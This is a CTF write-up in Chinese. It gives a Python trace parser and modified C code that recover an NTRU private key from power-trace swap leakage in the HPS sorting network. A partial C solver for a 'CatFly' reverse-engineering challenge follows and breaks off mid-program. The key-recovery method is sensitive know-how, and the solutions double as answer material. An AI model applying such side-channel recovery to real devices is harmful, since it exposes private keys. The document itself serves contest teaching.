NTRU实现有很多种版本,各有细微差异还都是官方的。第三轮提交文档中主要是分为steam Prime还是LPRrime,但是官方的代码又分hps和hrss两套算法实现版本,对应的参数不太一致;除此之外之前的NTRU open project实现还有具体差异,但代码删档了,无从考证。这次出题涉及到sample主要是在hps中,hrss系列使用的采样不完全一致,先找了相对好实现的。

NTRU三元多项式采样的整体思想是,先采样大量的随机数,然后在随机数后附加2bit的三元信息(0,1,2,其中2代表-1),然后对数组执行一遍类似快排的算法(但也不全是,感觉有点小差异)。为保证交换不会产生明显的timing问题,并更加贴合硬件执行,交换的算法比较有意思:用了一个比较复杂的比较系统,然后利用异或的逻辑,如果不需要交换那么掩码为0,整体都异或0,于是不交换;而如果需要交换,则将掩码设为全1,这样就可以留下a^b的结果,每个值都异或他,自然就得到了交换的结果。这个写法规避了分支判断会带来的时序差异,但是由于这个掩码全0还是全1有明显的汉明重差异,所以可以猜测会有明显的实际电源信号差异,原作者的实验结果也如是。那么我们的目的就是发现并还原这一组交换信号,自然就知道排序后的私钥表达式如何了。

但实际遇到一些难采样的问题是,由于标准实现中这个置换是通过宏定义实现的,而这段代码又是一个纯数据流代码,没什么控制性的代码,所以其分界线很模糊,时间片也不稳定(因为程序调用中间时间差很多,最短最长能差出两倍)或许通过电源模型好找相关性,但是在汉明重模型下太容易出错了,而这个顺序序列对误报又很严苛,所以这么出题也太折磨选手了,所以最后将宏定义写成函数,利用函数调用是压栈跳转的控制流来做分界,方便些。

理清这个思路,并熟悉trsfile和plt之后,其实实际做题就很容易了:先扒参数(使用的是比较小的原始参数N=251,q=256,p=3,d=72),然后通过官方源码计算敏感交换部分执行了多少次,然后在trs中大胆猜测(指已知敏感信息是32和0,那么在示例中可以看看有什么情况,甚至说根据题目trs直接猜间隔,毕竟总有能肉眼分布的连续32的数据,来判断最小轮间隔)小心求证(既然知道这个间隔是函数调用控制流引起的,那么其他地方的函数调用会不会导致误报,是不是还有可以再区分的特征?),然后扒出来序列,塞进源码中魔改一下就直接正向还原了,也没有多少逆向要读懂的部分。

题目将上架攻防世界,不再赘述,可见附件。

wp代码:

1
2
3
4
5
6
7
8
9
10
11
import numpy as np                                                        

import matplotlib.pyplot as plt

from math import sqrt

import trsfile
task=trsfile.open('/home/zuni-w/Desktop/catctf/sample_wp/task.trs' ,"r")
t=[i for i in range(10,len(task[0])-2) if task[0][i-1]==0 and task[0][i] in {19,20,22} and task[0][i+1]==0 and task[0][i+2]==0 ]
n=[-1 if 32 in task[0][x:y] else 0 for x,y in zip(t,t[1:]+[-1])]
print(n)

C 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <stdio.h>
#include <stdint.h>
#define int32 int32_t

#define int32_MINMAX(a,b) \
do { \
int32_t ab = (b) ^ (a); \
int32_t c = ((b) - (a)); \
c ^= ab & (c ^ (b)); \
c >>= 31; \
printf("%d,",c);\
c = ab; \
(a) ^= c; \
(b) ^= c; \
count++; \
} while(0)
int n[3773]=
{
-1, 0, -1, -1, -1, -1, -1, 0, 0, 0, 0, -1, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, -1, -1, -1, -1, -1, 0, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, -1, 0, -1, -1, 0, -1, -1, -1, -1, -1, -1, -1, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, -1, 0, 0, -1, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, -1, -1, -1, 0, 0, 0, 0, -1, 0, -1, -1, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, 0, -1, 0, -1, -1, -1, 0, -1, 0, -1, -1, 0, -1, -1, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, -1, 0, -1, 0, 0, -1, 0, 0, -1, -1, 0, -1, 0, -1, 0, -1, -1, -1, 0, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, -1, -1, 0, 0, -1, -1, -1, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, -1, 0, -1, 0, -1, -1, 0, 0, -1, -1, -1, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, -1, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, -1, -1, -1, -1, 0, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, -1, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, 0, -1, 0, 0, 0, -1, -1, -1, -1, 0, 0, 0, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, -1, -1, 0, 0, -1, 0, -1, 0, -1, -1, -1, 0, 0, -1, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, 0, -1, -1, -1, 0, 0, -1, 0, 0, 0, -1, 0, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, 0, 0, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, -1, -1, -1, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, -1, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, -1, 0, -1, -1, -1, 0, -1, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, -1, -1, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, -1, -1, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, -1, 0, -1, 0, -1, -1, 0, 0, -1, 0, -1, 0, -1, -1, 0, 0, -1, -1, -1, 0, -1, -1, 0, 0, -1, -1, -1, 0, -1, -1, -1, 0, -1, -1, -1, 0, -1, 0, -1, 0, -1, -1, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, -1, -1, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, -1, -1, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, 0, -1, 0, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, -1, 0, -1, -1, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, -1, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, -1, -1, -1, 0, -1, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, 0, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1, -1, 0, 0, -1, -1, 0, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, 0, -1, -1, -1, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, -1, 0, -1, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, -1, 0, -1, -1, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, 0, -1, -1, -1, 0, -1, -1, -1, -1, -1, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, -1, 0, -1, -1, -1, -1, -1, -1, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, -1, -1, 0, 0, -1, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, -1, 0, 0, -1, -1, -1, 0, 0, -1, 0, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, -1, -1, -1, -1, -1, -1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, -1, 0, 0, 0, -1, -1, 0, -1, 0, 0, -1, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, -1, 0, -1, 0, -1, -1, 0, 0, 0, 0, -1, -1, -1, 0, 0, -1, -1, 0, 0, 0, -1, 0, -1, 0, 0, -1, 0, 0, 0, 0, -1, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, 0, -1, 0, 0, -1, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, -1, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, 0, -1, 0, 0, -1, 0, 0, 0, -1, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0
};//from print(n) in wp.py
/* assume 2 <= n <= 0x40000000 */
int count=0;
void great_swap(int* pa,int* pb)
{
int ab=*pa^*pb;
int c=n[count];
c&=ab;
*pa^=c;
*pb^=c;
count++;
}

void crypto_sort_int32(int32 *array,size_t n)
{
size_t top,p,q,r,i,j;
int32 *x = array;

top = 1;
while (top < n - top) top += top;

for (p = top;p >= 1;p >>= 1) {
i = 0;
while (i + 2 * p <= n) {
for (j = i;j < i + p;++j) {
great_swap(&x[j],&x[j+p]);
}
i += 2 * p;
}
for (j = i;j < n - p;++j) {
great_swap(&x[j],&x[j+p]);
}

i = 0;
j = 0;
for (q = top;q > p;q >>= 1) {
if (j != i) {
for (;;) {
if (j == n - q) goto done;
int32 a = x[j + p];
for (r = q;r > p;r >>= 1) {
great_swap(&a,&x[j + r]);
}
x[j + p] = a;
++j;
if (j == i + p) {
i += 2 * p;
break;
}
}
}
while (i + p <= n - q) {
for (j = i;j < i + p;++j) {
int32 a = x[j + p];
for (r = q;r > p;r >>= 1) {
great_swap(&a,&x[j+r]);
}
x[j + p] = a;
}
i += 2 * p;
}
/* now i + p > n - q */
j = i;
while (j < n - q) {
int32 a = x[j + p];
for (r = q;r > p;r >>= 1) {
great_swap(&a,&x[j+r]);
}
x[j + p] = a;
++j;
}

done: ;
}
}
}


int sample(int* a, int d,int N,char * ans)
{
int i=0;
int tmp[256];
for(i=0;i<d+1;++i)
{
tmp[i]=(a[i]<<3)|1;
}
for(i=d+1;i<2*d+1;++i)
{
tmp[i]=(a[i]<<3)|2;
}
for(i=2*d+1;i<N;++i)
{
tmp[i]=(a[i]<<3);
}

crypto_sort_int32(tmp,N);
for(i=0;i<N;++i)
{
ans[i]=tmp[i]&3;
}
return 0;
}


char ans[256];
int init[256]=
{
};
int main(int argc, char *argv[])
{
int N=251,q=256,p=3,d=72;
for(int i=0;i<N;i++)
{
init[i]=0;
}

sample(init,d,N,ans);
printf("\ncount:%d\n",count);
for(int i=0;i<N;i++)
{
printf("%d,",ans[i]);
}

return 0;
}

然后按示例md5。

Reverse

CatFly🛫🐱

计划中是个难度中等偏下的送分RE题,但是解太少了

找到输出文字的地方

数据xor于sub_62B5

dword_E1E8 除了函数本身会修改,还有一处地方会修改

根据printf输出的字符数修改,测试可得 42 + log(count)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>
#include<string.h>
int dword_E1E8 = 0x1106;
int dword_E120[50]={0x27fb, 0x27a4, 0x464e, 0x0e36, 0x7b70, 0x5e7a, 0x1a4a, 0x45c1, 0x2bdf, 0x23bd, 0x3a15, 0x5b83, 0x1e15, 0x5367, 0x50b8, 0x20ca, 0x41f5, 0x57d1, 0x7750, 0x2adf, 0x11f8, 0x09bb, 0x5724, 0x7374, 0x3ce6, 0x646e, 0x010c, 0x6e10, 0x64f4, 0x3263, 0x3137, 0x00b8, 0x229c, 0x7bcd, 0x73bd, 0x480c, 0x14db, 0x68b9, 0x5c8a, 0x1b61, 0x6c59, 0x5707, 0x09e6, 0x1fb9, 0x2ad3, 0x76d4, 0x3113, 0x7c7e, 0x11e0, 0x6c70};
int sub_62B5()
{
dword_E1E8 = 1103515245 * dword_E1E8 + 12345;
return (dword_E1E8 >> 10) & 0x7FFF;
}

int llog(int n){
int a = 0;
while(n /= 10)a++;
return a;
}

int sub_62E3(char a1)
{
int result; // rax

if ( (a1 & 0x7Fu) <= 0x7E )
result = (a1 & 0x7Fu) > 0x20;
else
result = 0LL;
return result;
}

int main(){
int count = 0;
while(1){
for(int i = 0; i < 50; i++){
dword_E120[i]^=sub_62B5();
}
count++;
dword_E1E8+=42+llog(count);
